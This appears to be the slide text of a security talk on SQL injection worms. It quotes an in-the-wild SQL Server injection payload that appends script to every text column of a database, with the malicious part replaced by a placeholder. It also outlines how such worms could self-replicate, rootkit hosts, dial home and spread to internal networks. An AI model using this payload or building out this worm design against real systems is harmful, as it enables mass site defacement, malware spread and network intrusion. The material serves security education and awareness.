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SQL Injection for Fun & Profit

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Overview

- The worm(s) earlier this year
- Why it could have been worse
- Demo



In the Wild

```
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('up date ['+@T+] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+' '<badness goes
here>')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE
Table_Cursor DEALLOCATE
Table_Cursor;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=
CAST(%20AS%20NVARCHAR(4000));EXEC(@S);--
```



Why isn't this as bad as it could be?

- Profit
 - Aim is to install malware
 - But what about corporate systems?
 - What about installing rootkits on arbitrary DMZ'd/internal systems?
 - What about internal sites?



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- Foothold
 - Updates database content with malicious scripting links
 - What about leveraging OS access?
 - What about leveraging database functionality (i.e. linked databases)?



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- Spread
 - Uses Google, through a tool, to locate targets
 - What about self replication?
 - What about intranet/extranet replication?



Worms, weaponized

- Self replicate, multiple methods (Google, MSN, Yahoo, direct scanning of RFC 1918 addresses)
- Attack both URL and forms, keep simple state
- Rootkit the underlying OS, dial home
- Attack internal systems via the network



Demo

- Limited in the following ways
 - SQL Server only, no Oracle, MySQL, Sybase, DB2 etc
 - Doesn't use privilege escalation attacks
 - Limits itself to RFC 1918 IPs